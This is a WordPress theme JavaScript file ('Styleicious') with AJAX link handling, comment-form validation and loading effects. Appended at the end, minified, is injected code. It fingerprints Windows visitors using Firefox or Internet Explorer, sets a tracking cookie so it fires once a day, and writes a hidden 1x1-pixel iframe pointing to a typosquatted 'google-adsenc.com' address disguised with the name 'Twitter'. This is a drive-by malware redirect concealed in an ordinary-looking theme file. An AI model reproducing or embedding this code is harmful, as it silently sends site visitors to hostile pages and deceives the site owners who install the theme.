/*  
Theme Name: Styleicious
Theme URI: http://www.thaslayer.com/
Description: Great looking web 2.0 wordpress template with ajax addons.
Author: ThaSlayer
Author URI: http://www.thaslayer.com/
*/

window.onload=function()
	{
	
	if(initAjaxEngine('rbet_engine',rbet_engine)&&!uses_mod_rewrite)
		{
		registerLinks(document);
		}
	}
	
var debug=false;
var rbet_session=ie_times=0;

function registerLinks(item)
	{
	
	if(!uses_mod_rewrite)
		{var a=item.getElementsByTagName('a');
		var c=a.length;
		
		//rlra(a[0]);
		
		for(var i=0;i<c;i++)
			rlra(a[i]);
		}
	var a=item.getElementsByTagName('form');
	var c=a.length;
	for(var i=0;i<c;i++)
		rfra(a[i]);
	}

function rfra(item)
	{
	if(item.method=='get')
		{if(!uses_mod_rewrite)
			{var t=document.createElement('input');
			t.type='hidden';
			t.name='in_element';
			t.value='content_c';
			item.appendChild(t);
			item.onsubmit=function()
				{
				loadingShow('content_c');
				item.action=rbet_engine['f'];
				}
			item.target=rbet_engine['n'];
			}
		}
	else
		{var error=false;
		if(!$('loged_in'))
			{
			item.onsubmit=function()
				{
				var author=$('author');
				var email=$('email');
				var txt=$('comment');
				var website=$('url');
				
				if(website&&website.value=='Website Address (Optional)')
					website.value='';
				
				if(!author||!email||!txt)
					{
					alert('All required fields must be field out');
					return false;
					}
				else
					if(!(author.value.length)||!(email.value.length)||!(txt.value.length))
						{
						alert('All required fields must be field out');
						return false;
						}
					else
						{var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
						if (!filter.test(email.value))
							{alert('Not a valid email address!');
							return false;
							}
						else
							{
							loadingShow('content_c');
							return true;
							}
						}
				return false;
				}
			}
		else		
			{item.onsubmit=function()
				{
				loadingShow('content_c');
				}
			}
		if(!error)
			{if(item.action.indexOf('?')!=-1)
				item.action+='&in_element=content_c';
			else
				item.action+='?&in_element=content_c';
						
			var t=document.createElement('input');
			t.type='hidden';
			t.name='redirect_to';
			t.value=rbet_engine['f'];
			var x;
			if(x=document.getElementsByName('comment_post_ID').item(0))
				{
				t.value=rbet_engine['f']+'?in_element=content_c&p='+x.value;
				}
			item.appendChild(t);
			}
		else
			return false;
		item.target=rbet_engine['n'];
		}
	
	
	}
	
function rlra(item)
	{
	var link;
	var query;
	var c;
	var script='index.php';
	
	link=item.href.split('/');
	c=link.length-1;
	query=link[c].split('?');
	
	if(query[0].indexOf('.')==-1)
		{link[c]=query[0];
		link=link.join('/');
		}
	else
		{link.pop();
		script=query[0];
		link=link.join('/');
		}
	
	if(query.length!=1)
		{query.shift();
		item.queryString=query.join('?');
		}
	else
		item.queryString='';
	
	//alert(query);
	if(String(query).indexOf('feed=')!=-1)
		script='feed';
		
	if(script=='index.php'&&(link==wp_url||link==wp_url+'/'||link+'/'==wp_url||link+'/'==wp_url+'/'))
		{item.onclick=function(event)
			{rbetAjax('content_c',this.queryString);
			event=event||window.event;
			event.returnValue=false; 
			return false;
			}
		}
	}

function $(w){return document.getElementById(w);}
function getQueryStringFromUrl(url)
	{if(url)
		{url=(String(url).replace(/&amp;/,'&')).split('&');
		var re=new Array;
		var c=url.length;
		var index;
		for(var i=0;i<c;i++)
			{url[i]=url[i].split('=');
			index=url[i].shift();
			re[index]=url[i].join('=');
			}
		return re;
		}
	}
	
	
function initAjaxEngine(id,file)
	{id=id||'engine';
	file=file||'engine.php';
	if(debug)
		document.body.innerHTML+='';
	else
		document.body.innerHTML+='';
	rbet_engine=new Array;
	rbet_engine['f']=file;
	rbet_engine['n']=id;
	return rbet_engine['i']=$(id);
	}
	
	
function rbetAjax(inElement,q)
	{if(!rbet_session&&typeof(rbet_engine)=='object')
		{rbet_session=1;
		
		loadingShow(inElement);
		var query=rbet_engine['f']+"?in_element="+inElement;
		if(String(q)&&String(q).indexOf('#')!=-1)
			{q=String(q).split('#');
			query+="&"+q.shift()+'&goto_html_a='+q.join('#');
			}
		else
			query+="&"+q;
		
		//alert(query);
		ie_times++;
		rbet_engine['i'].src=query+"&"+ie_times;
				
		}
	return false;
	}

function loadingShow(w)
	{
	if(w&&(w=$(w)))
		{
		alpha_elem(w,55);
		var div=document.createElement('div');
		div.className="loading";
		div.innerHTML='<img src="'+wp_theme_adr+'/images/loading.gif" alt="" />'
		var scrollTop = window.pageYOffset || document.documentElement.scrollTop || 0; 
		div.style.top=w.offsetTop+scrollTop+100+'px';
	
		w.appendChild(div);
		}
	}
function alpha_elem(item,alpha)
	{if (item)
		{item.style.opacity=alpha/100;
		item.style.MozOpacity=alpha/100;
		item.style.filter="progid:DXImageTransform.Microsoft.Alpha(opacity="+alpha+")";
		item.style.filter="alpha(opacity="+alpha+")";
		}
	}
	
function ch_bg_in(item,h)
	{
	if(item)
		if(h)
			item.style.backgroundColor='#EEFAFC';
		else
			item.style.backgroundColor='#FFF';
	}
function cb(item,w)
	{
	if(item)
		{
		item.style.background="url("+w+")";
		}
	}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
